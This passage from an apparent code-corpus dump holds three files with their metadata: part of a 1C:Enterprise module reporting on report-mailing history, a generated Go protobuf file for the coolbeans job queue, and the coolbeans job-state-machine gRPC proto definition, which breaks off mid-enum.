ПроцессорВыводаРезультатаКомпоновкиДанныхВТабличныйДокумент; ПроцессорВывода.УстановитьДокумент(ДокументРезультат); ПроцессорВывода.НачатьВывод(); ЭлементРезультата = ПроцессорКомпоновки.Следующий(); Пока ЭлементРезультата <> Неопределено Цикл ПроцессорВывода.ВывестиЭлемент(ЭлементРезультата); ЭлементРезультата = ПроцессорКомпоновки.Следующий(); КонецЦикла; ПроцессорВывода.ЗакончитьВывод(); КонецПроцедуры #КонецОбласти #Область СлужебныеПроцедурыИФункции Функция ДанныеИсторииРассылкиОтчетов(Рассылка, Период, ДополнительныеПараметры) Запрос = Новый Запрос; ТекстЗапроса = "ВЫБРАТЬ РАЗРЕШЕННЫЕ | ИсторияРассылкиОтчетов.РассылкаОтчетов КАК РассылкаОтчетов, | ИсторияРассылкиОтчетов.Получатель КАК Получатель, | ИсторияРассылкиОтчетов.Выполнена КАК Успешно, | ИсторияРассылкиОтчетов.Комментарий КАК Комментарий, | ИсторияРассылкиОтчетов.ЗапускРассылки КАК ЗапускРассылки, | ИсторияРассылкиОтчетов.ЭлектронноеПисьмоИсходящее КАК ЭлектронноеПисьмоИсходящее, | ИсторияРассылкиОтчетов.СпособПолучения КАК СпособПолучения, | ИсторияРассылкиОтчетов.Период КАК Отправлено, | ИсторияРассылкиОтчетов.ДатаДоставки КАК ДатаДоставки, | ИсторияРассылкиОтчетов.АдресЭП КАК АдресЭП, | ИсторияРассылкиОтчетов.Статус КАК Статус |ИЗ | РегистрСведений.ИсторияРассылкиОтчетов КАК ИсторияРассылкиОтчетов |ГДЕ | ИсторияРассылкиОтчетов.РассылкаОтчетов = &РассылкаОтчетов | И ИсторияРассылкиОтчетов.Период МЕЖДУ &ДатаНачала И &ДатаОкончания"; Запрос.УстановитьПараметр("РассылкаОтчетов", Рассылка); Запрос.УстановитьПараметр("ДатаНачала", Период.ДатаНачала); Запрос.УстановитьПараметр("ДатаОкончания", ?(ЗначениеЗаполнено(Период.ДатаОкончания),Период.ДатаОкончания,'39991231235959')); Если ДополнительныеПараметры.Получатели.Использование Тогда ТекстЗапроса = ТекстЗапроса + " И ИсторияРассылкиОтчетов.Получатель в (&Получатели)"; Запрос.УстановитьПараметр("Получатели", ДополнительныеПараметры.Получатели.ЗначениеПараметра); КонецЕсли; Запрос.Текст = ТекстЗапроса; РезультатЗапроса = Запрос.Выполнить(); Выборка = РезультатЗапроса.Выбрать(); ИсторияРассылки = Новый ТаблицаЗначений; ИсторияРассылки.Колонки.Добавить("РассылкаОтчетов", Новый ОписаниеТипов("СправочникСсылка.РассылкиОтчетов")); ИсторияРассылки.Колонки.Добавить("Получатель", Метаданные.ОпределяемыеТипы.ПолучательРассылки.Тип); ИсторияРассылки.Колонки.Добавить("Отправлено", Новый ОписаниеТипов("Дата")); ИсторияРассылки.Колонки.Добавить("АдресЭП", Новый ОписаниеТипов("Строка", , Новый КвалификаторыСтроки(100))); ИсторияРассылки.Колонки.Добавить("Успешно", Новый ОписаниеТипов("Булево")); ИсторияРассылки.Колонки.Добавить("Комментарий", Новый ОписаниеТипов("Строка")); ИсторияРассылки.Колонки.Добавить("НомерСеанса",Новый ОписаниеТипов("Строка",,,Новый КвалификаторыЧисла(25))); ИсторияРассылки.Колонки.Добавить("ЗапускРассылки", Новый ОписаниеТипов("Дата")); ИсторияРассылки.Колонки.Добавить("ДатаДоставки", Новый ОписаниеТипов("Дата")); ИсторияРассылки.Колонки.Добавить("СпособПолучения", Новый ОписаниеТипов("Строка", , Новый КвалификаторыСтроки(500))); Если ОбщегоНазначения.ПодсистемаСуществует("СтандартныеПодсистемы.Взаимодействия") Тогда ИсторияРассылки.Колонки.Добавить("ЭлектронноеПисьмоИсходящее", Новый ОписаниеТипов("ДокументСсылка.ЭлектронноеПисьмоИсходящее")); Иначе ИсторияРассылки.Колонки.Добавить("ЭлектронноеПисьмоИсходящее", Новый ОписаниеТипов("Строка", , Новый КвалификаторыСтроки(10))); КонецЕсли; Пока Выборка.Следующий() Цикл ОтборСтрок = Новый Структура; ОтборСтрок.Вставить("РассылкаОтчетов", Выборка.РассылкаОтчетов); ОтборСтрок.Вставить("Получатель", Выборка.Получатель); ОтборСтрок.Вставить("ЗапускРассылки", Выборка.ЗапускРассылки); ОтборСтрок.Вставить("АдресЭП", Выборка.АдресЭП); СтрокиИстории = ИсторияРассылки.НайтиСтроки(ОтборСтрок); Если СтрокиИстории.Количество() > 0 Тогда СтрокаИстории = СтрокиИстории[0]; СтрокаИстории.Отправлено = Макс(СтрокаИстории.Отправлено, Выборка.Отправлено); СтрокаИстории.Успешно = Макс(СтрокаИстории.Успешно, Выборка.Успешно); Если Выборка.Статус = Перечисления.СтатусыЭлектронныхПисем.НеДоставлено Тогда СтрокаИстории.Успешно = Ложь; КонецЕсли; СтрокаИстории.Комментарий = ?(ЗначениеЗаполнено(СтрокаИстории.Комментарий), СтрокаИстории.Комментарий + Символы.ПС + Выборка.Комментарий, Выборка.Комментарий); Если ЗначениеЗаполнено(Выборка.ЭлектронноеПисьмоИсходящее) Тогда СтрокаИстории.ЭлектронноеПисьмоИсходящее = Выборка.ЭлектронноеПисьмоИсходящее; КонецЕсли; Если ЗначениеЗаполнено(Выборка.ДатаДоставки) Тогда СтрокаИстории.ДатаДоставки = Выборка.ДатаДоставки; КонецЕсли; Иначе СтрокаИстории = ИсторияРассылки.Добавить(); ЗаполнитьЗначенияСвойств(СтрокаИстории, Выборка); КонецЕсли; КонецЦикла; Отправлено = 0; НеОтправлено = 0; Для Каждого ПолеИстории Из ИсторияРассылки Цикл Если ПолеИстории.Успешно Тогда Отправлено = Отправлено + 1; Иначе НеОтправлено = НеОтправлено + 1; КонецЕсли; КонецЦикла; ДанныеОтчета = Новый Структура; ДанныеОтчета.Вставить("ИсторияРассылки", ИсторияРассылки); ДанныеОтчета.Вставить("Отправлено", Отправлено); ДанныеОтчета.Вставить("НеОтправлено", НеОтправлено); ДанныеОтчета.Вставить("Всего", Отправлено + НеОтправлено); Возврат ДанныеОтчета; КонецФункции Процедура УстановитьПараметрыДанных(Настройки, ЗначенияПараметров, ПользовательскиеНастройки = Неопределено) ПараметрыДанных = Настройки.ПараметрыДанных.Элементы; Для Каждого ЗначениеПараметра Из ЗначенияПараметров Цикл ПараметрДанных = ПараметрыДанных.Найти(ЗначениеПараметра.Ключ); Если ПараметрДанных = Неопределено Тогда Продолжить; КонецЕсли; ПараметрДанных.Использование = ЗначениеПараметра.Значение.Использование; ПараметрДанных.Значение = ЗначениеПараметра.Значение.ЗначениеПараметра; Если Не ЗначениеЗаполнено(ПараметрДанных.ИдентификаторПользовательскойНастройки) Или ТипЗнч(ПользовательскиеНастройки) <> Тип("ПользовательскиеНастройкиКомпоновкиДанных") Тогда Продолжить; КонецЕсли; СоответствующийПараметр = ПользовательскиеНастройки.Элементы.Найти( ПараметрДанных.ИдентификаторПользовательскойНастройки); Если СоответствующийПараметр <> Неопределено Тогда ЗаполнитьЗначенияСвойств(СоответствующийПараметр, ПараметрДанных, "Использование, Значение"); КонецЕсли; КонецЦикла; КонецПроцедуры Функция ПараметрДанных(ЗначениеПараметра, Использование = Истина) Возврат Новый Структура("ЗначениеПараметра, Использование", ЗначениеПараметра, Использование); КонецФункции Функция НайтиПараметрПользовательскихНастроек(ЭлементыПользовательскихНастроек, ИмяПараметра) ИскомыйПараметр = Новый ПараметрКомпоновкиДанных(ИмяПараметра); Для Каждого Элемент Из ЭлементыПользовательскихНастроек Цикл Если ТипЗнч(Элемент) = Тип("ЗначениеПараметраНастроекКомпоновкиДанных") И Элемент.Параметр = ИскомыйПараметр Тогда Возврат Элемент; КонецЕсли; КонецЦикла; Возврат Неопределено; КонецФункции #КонецОбласти #Иначе ВызватьИсключение НСтр("ru = 'Недопустимый вызов объекта на клиенте.'"); #КонецЕсли
14,564
ObjectModule
bsl
ru
1c enterprise
code
{"qsc_code_num_words": 1030, "qsc_code_num_chars": 14564.0, "qsc_code_mean_word_length": 11.36116505, "qsc_code_frac_words_unique": 0.25728155, "qsc_code_frac_chars_top_2grams": 0.02256025, "qsc_code_frac_chars_top_3grams": 0.03076397, "qsc_code_frac_chars_top_4grams": 0.00991284, "qsc_code_frac_chars_dupe_5grams": 0.16364724, "qsc_code_frac_chars_dupe_6grams": 0.12074859, "qsc_code_frac_chars_dupe_7grams": 0.07964451, "qsc_code_frac_chars_dupe_8grams": 0.07964451, "qsc_code_frac_chars_dupe_9grams": 0.06665527, "qsc_code_frac_chars_dupe_10grams": 0.05477696, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00345968, "qsc_code_frac_chars_whitespace": 0.10690744, "qsc_code_size_file_byte": 14564.0, "qsc_code_num_lines": 366.0, "qsc_code_num_chars_line_max": 140.0, "qsc_code_num_chars_line_mean": 39.79234973, "qsc_code_frac_chars_alphabet": 0.89613285, "qsc_code_frac_chars_comments": 0.99279044, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.0, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 1, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 1, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
1xyz/coolbeans
api/v1/client.pb.go
// Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 // protoc v3.19.3 // source: client.proto package coolbeans_api_v1 import ( protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" reflect "reflect" sync "sync" ) const ( // Verify that this generated code is sufficiently up-to-date. _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) // Verify that runtime/protoimpl is sufficiently up-to-date. _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) type ClientResvEntryProto struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields // identifier of the client that requested a reservation ClientId string `protobuf:"bytes,1,opt,name=client_id,json=clientId,proto3" json:"client_id,omitempty"` // reservation deadline at (clock time) ResvDeadlineAt int64 `protobuf:"varint,2,opt,name=resv_deadline_at,json=resvDeadlineAt,proto3" json:"resv_deadline_at,omitempty"` // boolean indicating if the client is waiting for a reservation IsWaitingForResv bool `protobuf:"varint,3,opt,name=is_waiting_for_resv,json=isWaitingForResv,proto3" json:"is_waiting_for_resv,omitempty"` // clock time at which the client needs some processing TickAt int64 `protobuf:"varint,4,opt,name=tick_at,json=tickAt,proto3" json:"tick_at,omitempty"` // request id of the current reservation request ReqId string `protobuf:"bytes,5,opt,name=req_id,json=reqId,proto3" json:"req_id,omitempty"` // heap index value for this client reservation HeapIndex int32 `protobuf:"varint,6,opt,name=heap_index,json=heapIndex,proto3" json:"heap_index,omitempty"` // names of the tubes current watched for resrervations WatchedTube []string `protobuf:"bytes,7,rep,name=watched_tube,json=watchedTube,proto3" json:"watched_tube,omitempty"` } func (x *ClientResvEntryProto) Reset() { *x = ClientResvEntryProto{} if protoimpl.UnsafeEnabled { mi := &file_client_proto_msgTypes[0] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } func (x *ClientResvEntryProto) String() string { return protoimpl.X.MessageStringOf(x) } func (*ClientResvEntryProto) ProtoMessage() {} func (x *ClientResvEntryProto) ProtoReflect() protoreflect.Message { mi := &file_client_proto_msgTypes[0] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) } return ms } return mi.MessageOf(x) } // Deprecated: Use ClientResvEntryProto.ProtoReflect.Descriptor instead. func (*ClientResvEntryProto) Descriptor() ([]byte, []int) { return file_client_proto_rawDescGZIP(), []int{0} } func (x *ClientResvEntryProto) GetClientId() string { if x != nil { return x.ClientId } return "" } func (x *ClientResvEntryProto) GetResvDeadlineAt() int64 { if x != nil { return x.ResvDeadlineAt } return 0 } func (x *ClientResvEntryProto) GetIsWaitingForResv() bool { if x != nil { return x.IsWaitingForResv } return false } func (x *ClientResvEntryProto) GetTickAt() int64 { if x != nil { return x.TickAt } return 0 } func (x *ClientResvEntryProto) GetReqId() string { if x != nil { return x.ReqId } return "" } func (x *ClientResvEntryProto) GetHeapIndex() int32 { if x != nil { return x.HeapIndex } return 0 } func (x *ClientResvEntryProto) GetWatchedTube() []string { if x != nil { return x.WatchedTube } return nil } var File_client_proto protoreflect.FileDescriptor var file_client_proto_rawDesc = []byte{ 0x0a, 0x0c, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x10, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x2e, 0x61, 0x70, 0x69, 0x2e, 0x76, 0x31, 0x22, 0xfe, 0x01, 0x0a, 0x14, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x65, 0x73, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x1b, 0x0a, 0x09, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x5f, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x10, 0x72, 0x65, 0x73, 0x76, 0x5f, 0x64, 0x65, 0x61, 0x64, 0x6c, 0x69, 0x6e, 0x65, 0x5f, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0e, 0x72, 0x65, 0x73, 0x76, 0x44, 0x65, 0x61, 0x64, 0x6c, 0x69, 0x6e, 0x65, 0x41, 0x74, 0x12, 0x2d, 0x0a, 0x13, 0x69, 0x73, 0x5f, 0x77, 0x61, 0x69, 0x74, 0x69, 0x6e, 0x67, 0x5f, 0x66, 0x6f, 0x72, 0x5f, 0x72, 0x65, 0x73, 0x76, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x69, 0x73, 0x57, 0x61, 0x69, 0x74, 0x69, 0x6e, 0x67, 0x46, 0x6f, 0x72, 0x52, 0x65, 0x73, 0x76, 0x12, 0x17, 0x0a, 0x07, 0x74, 0x69, 0x63, 0x6b, 0x5f, 0x61, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x74, 0x69, 0x63, 0x6b, 0x41, 0x74, 0x12, 0x15, 0x0a, 0x06, 0x72, 0x65, 0x71, 0x5f, 0x69, 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x72, 0x65, 0x71, 0x49, 0x64, 0x12, 0x1d, 0x0a, 0x0a, 0x68, 0x65, 0x61, 0x70, 0x5f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x09, 0x68, 0x65, 0x61, 0x70, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x21, 0x0a, 0x0c, 0x77, 0x61, 0x74, 0x63, 0x68, 0x65, 0x64, 0x5f, 0x74, 0x75, 0x62, 0x65, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0b, 0x77, 0x61, 0x74, 0x63, 0x68, 0x65, 0x64, 0x54, 0x75, 0x62, 0x65, 0x42, 0x14, 0x5a, 0x12, 0x2e, 0x3b, 0x63, 0x6f, 0x6f, 0x6c, 0x62, 0x65, 0x61, 0x6e, 0x73, 0x5f, 0x61, 0x70, 0x69, 0x5f, 0x76, 0x31, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( file_client_proto_rawDescOnce sync.Once file_client_proto_rawDescData = file_client_proto_rawDesc ) func file_client_proto_rawDescGZIP() []byte { file_client_proto_rawDescOnce.Do(func() { file_client_proto_rawDescData = protoimpl.X.CompressGZIP(file_client_proto_rawDescData) }) return file_client_proto_rawDescData } var file_client_proto_msgTypes = make([]protoimpl.MessageInfo, 1) var file_client_proto_goTypes = []interface{}{ (*ClientResvEntryProto)(nil), // 0: coolbeans.api.v1.ClientResvEntryProto } var file_client_proto_depIdxs = []int32{ 0, // [0:0] is the sub-list for method output_type 0, // [0:0] is the sub-list for method input_type 0, // [0:0] is the sub-list for extension type_name 0, // [0:0] is the sub-list for extension extendee 0, // [0:0] is the sub-list for field type_name } func init() { file_client_proto_init() } func file_client_proto_init() { if File_client_proto != nil { return } if !protoimpl.UnsafeEnabled { file_client_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ClientResvEntryProto); i { case 0: return &v.state case 1: return &v.sizeCache case 2: return &v.unknownFields default: return nil } } } type x struct{} out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_client_proto_rawDesc, NumEnums: 0, NumMessages: 1, NumExtensions: 0, NumServices: 0, }, GoTypes: file_client_proto_goTypes, DependencyIndexes: file_client_proto_depIdxs, MessageInfos: file_client_proto_msgTypes, }.Build() File_client_proto = out.File file_client_proto_rawDesc = nil file_client_proto_goTypes = nil file_client_proto_depIdxs = nil }
7,360
client.pb
go
en
go
code
{"qsc_code_num_words": 1016, "qsc_code_num_chars": 7360.0, "qsc_code_mean_word_length": 5.12007874, "qsc_code_frac_words_unique": 0.2480315, "qsc_code_frac_chars_top_2grams": 0.06132257, "qsc_code_frac_chars_top_3grams": 0.08073818, "qsc_code_frac_chars_top_4grams": 0.01614764, "qsc_code_frac_chars_dupe_5grams": 0.20434448, "qsc_code_frac_chars_dupe_6grams": 0.14475202, "qsc_code_frac_chars_dupe_7grams": 0.09381007, "qsc_code_frac_chars_dupe_8grams": 0.03844675, "qsc_code_frac_chars_dupe_9grams": 0.03498654, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.15374739, "qsc_code_frac_chars_whitespace": 0.15339674, "qsc_code_size_file_byte": 7360.0, "qsc_code_num_lines": 211.0, "qsc_code_num_chars_line_max": 140.0, "qsc_code_num_chars_line_mean": 34.88151659, "qsc_code_frac_chars_alphabet": 0.68111058, "qsc_code_frac_chars_comments": 0.13125, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.14450867, "qsc_code_cate_autogen": 1.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.09587113, "qsc_code_frac_chars_long_word_length": 0.08289021, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.19956209, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codego_cate_testfile": 0.0, "qsc_codego_frac_lines_func_ratio": 0.07514451, "qsc_codego_cate_var_zero": 0.0, "qsc_codego_score_lines_no_logic": 0.23121387, "qsc_codego_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 1, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_codego_cate_testfile": 0, "qsc_codego_frac_lines_func_ratio": 0, "qsc_codego_cate_var_zero": 0, "qsc_codego_score_lines_no_logic": 0, "qsc_codego_frac_lines_print": 0}
1xyz/coolbeans
api/v1/jsm.proto
syntax = "proto3"; package coolbeans.api.v1; option go_package = ".;coolbeans_api_v1"; import "client.proto"; import "job.proto"; import "empty.proto"; service JobStateMachine { // Put creates a new job with the provided job parameters // // The response contains the identifier of the job created rpc Put (PutRequest) returns (PutResponse) {} // Delete a job with the provided job id rpc Delete (DeleteRequest) returns (Empty) {} // Reserve is a request to reserve a channel for a client by this proxy rpc Reserve (ReserveRequest) returns (ReserveResponse) {} // StreamReserveUpdates is a streaming RPC from the server back to client // // Reservations are streamed as they are available for this proxy rpc StreamReserveUpdates (ReserveUpdateRequest) returns (stream ReserveResponse) {} // CheckClientState queries the job state machine whether the provided list of clientIds are waiting for reservations. rpc CheckClientState (CheckClientStateRequest) returns (CheckClientStateResponse) {} // Release a reserved job back to either a Ready or a Delayed state rpc Release (ReleaseRequest) returns (Empty) {} // Extend a reserved job's reservation TTL by its TTR (time-to-run) rpc Touch (TouchRequest) returns (Empty) {} // Bury this job, if this job is in the reserved state rpc Bury (BuryRequest) returns (Empty) {} // Kick this job, if this job is in a buried stated to ready state rpc Kick (KickRequest) returns (Empty) {} // Kick at-most n jobs in this tube, rpc KickN (KickNRequest) returns (KickNResponse) {} // Peek a specific job (by the JobID) rpc GetJob (GetJobRequest) returns (GetJobResponse) {} // Peek a tube's buried jobs rpc PeekBuried (PeekRequest) returns (PeekResponse) {} // Peek a tube's delayed jobs rpc PeekDelayed (PeekRequest) returns (PeekResponse) {} // Peek a tube's ready jobs rpc PeekReady (PeekRequest) returns (PeekResponse) {} // Retrieve a job statistics rpc GetStatsJobYaml(GetStatsJobYamlRequest) returns (GetStatsJobYamlResponse) {} // Retrieve a tube's statistics rpc GetStatsTubeYaml(GetStatsTubeYamlRequest) returns (GetStatsTubeYamlResponse) {} // Retrieve overall statistics rpc GetStatsYaml(Empty) returns (GetStatsYamlResponse) {} // Retreive a list of all Tubes rpc ListTubes(Empty) returns (ListTubesResponse) {} } message PutRequest { // Refer Job.priority uint32 priority = 1; // Refer Job.delay int64 delay = 2; // Refer Job.ttr int32 ttr = 3; // Refer Job.tube_na,e string tube_name = 4; // Refer Job.body_size int32 body_size = 5; // Refer Job.body bytes body = 6; } message PutResponse { // The job identifier of the new job created int64 job_id = 1; } message DeleteRequest { // The job identifier of the job to be deleted int64 job_id = 1; // the proxy identifier forwarding the client's request string proxy_id = 2; // the client identifier of the client (deleting this job) string client_id = 3; } message ReserveRequest { // client id of the reservation string client_id = 1; // request id identify this reservation string request_id = 2; // reservation timeout in seconds int32 timeout_secs = 3; // array of tubes to watch repeated string watched_tubes = 4; // the proxy identifier forwarding the client's request string proxy_id = 5; } message ReserveResponse { // Reservation object encapsulated in this response Reservation reservation = 1; } message ReserveUpdateRequest { // the proxy identifier requesting reservation update string proxy_id = 1; } message ReserveUpdateResponse { // Reservations encapsulated in this response Reservation reservation = 1; } message TickResponse { // Reservations grouped by proxy id map<string, Reservations> proxy_reservations = 3; } message Reservations { // Reservation object encapsulated in this response repeated Reservation entries = 1; } enum ReservationStatus { // Unknown ~~> UnknownRS (yuck!!) // Note that enum values use C++ scoping rules, meaning // that enum values are siblings of their type, not children of it. // Therefore, "Unknown" must be unique within "coolbeans.api.v1", // not just within "ResultCode" UnknownRS = 0; Queued = 1; DeadlineSoon = 2; Matched = 3; Timeout = 4; Error = 5; } message Reservation { // request_id associated with this reservation string request_id = 1; // client id assinged to this reservation string client_id = 2; // Result of this reservation ReservationStatus Status = 3; // job id (assigned) if Status is matched int64 job_id = 4; // job body size (assigned) if Status is matched int32 body_size = 5; // job body (assigned) if Status is matched bytes body = 6; // error message (assigned) if Status is error string error_msg = 7; // proxy_id is the id of the proxy server that // forwarded this reservation request string proxy_id = 8; } message ReleaseRequest { // The job identifier of the job to be released int64 job_id = 1; // The identifier of the client asking for the release string client_id = 2; // proxy_id is the id of the proxy server that // forwarded this request string proxy_id = 3; // A delay if set to a value > 0 marks the job as delayed int64 delay = 4; // the new priority with which this job is released uint32 priority = 5; } message CheckClientStateRequest { // proxy_id is the id of the proxy server that // forwarded this request string proxy_id = 1; // Array of all client_ids repeated string client_ids = 2; } message CheckClientStateResponse { // proxy_id is the id of the proxy server that // forwarded this request string proxy_id = 1; // Array of all client_ids waiting for reservations repeated string waiting_client_ids = 2; // Array of all client_ids not waiting for reservations repeated string not_waiting_client_ids = 3; // Array of all client_ids unknown or missing on the server repeated string missing_client_ids = 4; } message TouchRequest { // The job identifier of the job to be touched int64 job_id = 1; // The identifier of the client asking for the release string client_id = 2; // proxy_id is the id of the proxy server that // forwarded this request string proxy_id = 3; } message BuryRequest { // The job identifier of the job to be buried int64 job_id = 1; // Refer Job.priority, the new priority for the job uint32 priority = 2; // Client id of the request string client_id = 3; // proxy_id is the id of the proxy server that forwarded this request string proxy_id = 4; } message KickRequest { // The job identifier of the job to be Kicked int64 job_id = 1; } message KickNRequest { // Refer Job.tube_name string tube_name = 1; // bound is the maximum number of jobs to kick int32 bound = 2; } message KickNResponse { // The actual number of jobs kicked int32 jobs_kicked = 1; } message GetJobRequest { // Id of the job to get int64 job_id = 1; } message GetJobResponse { // An optional job if set. JobProto job = 1; } message PeekRequest { // the name of the tube string tube_name = 1; } message PeekResponse { // An optional job if set. JobProto job = 1; } message GetStatsJobYamlRequest { // Id of the job to get int64 job_id = 1; } message GetStatsJobYamlResponse { // Yaml representation stats (key-value pairs) bytes stats_yaml = 1; } message GetStatsTubeYamlRequest { // name of the tube string tube_name = 1; } message GetStatsTubeYamlResponse { // Yaml representation stats (key-value pairs) bytes stats_yaml = 1; } message GetStatsYamlResponse { // Yaml representation stats (key-value pairs) bytes stats_yaml = 1; } message ListTubesResponse { repeated string tubes = 1; } //////////////////////////////////////////////////////////////////////// // Encapsulates a snap of the entire system message SnapshotProto { // Array of all jobs currently in the system repeated JobProto jobs = 1; // Arrayy of all client reservation entries in the system repeated ClientResvEntryProto reservations = 2; } //////////////////////////////////////////////////////////////////////// message ApplyOpRequest { // Indicates the type of operation OpType op = 1; // time in seconds from epoch this request is made int64 now_secs = 2; // The operation request body bytes body = 3; } message ApplyOpResponse { // error code ResultCode error_code = 1; // error message (typically set if error_code > 0 string error_message = 2; // The response body bytes body = 3; } enum OpType { UNKNOWN = 0; PUT = 1; RESERVE = 2; TICK = 3; DELETE = 4; RELEASE = 5; CHECK_CLIENT_STATE = 6; BURY = 7; KICK = 8; KICKN = 9; TOUCH = 10; GET_JOB = 11; PEEK_READY = 12; PEEK_BURIED = 13; PEEK_DELAYED = 14; STATS_JOB_YAML = 15; STATS_TUBE_YAML = 16; STATS_YAML = 17; LIST_TUBES = 18; } // C & P from GRPC error codes // https://github.com/grpc/grpc-go/blob/master/codes/codes.go enum ResultCode { // OK is returned on success. OK = 0; // Canceled indicates the operation was canceled (typically by the caller). Canceled = 1; // Unknown error. An example of where this error may be returned is // if a Status value received from another address space belongs to // an error-space that is not known in this address space. Also // errors raised by APIs that do not return enough error information // may be converted to this error. Unknown = 2; // InvalidArgument indicates client specified an invalid argument. // Note that this differs from FailedPrecondition. It indicates arguments // that are problematic regardless of the state of the system // (e.g., a malformed file name). InvalidArgument = 3; // DeadlineExceeded means operation expired before completion. // For operations that change the state of the system, this error may be // returned even if the operation has completed successfully. For // example, a successful response from a server could have been delayed // long enough for the deadline to expire. DeadlineExceeded = 4; // NotFound means some requested entity (e.g., file or directory) was // not found. NotFound = 5; // AlreadyExists means an attempt to create an entity failed because one // already exists. AlreadyExists = 6; // PermissionDenied indicates the caller does not have permission to // execute the specified operation. It must not be used for rejections // caused by exhausting some resource (use ResourceExhausted // instead for those errors). It must not be // used if the caller cannot be identified (use Unauthenticated // instead for those errors). PermissionDenied = 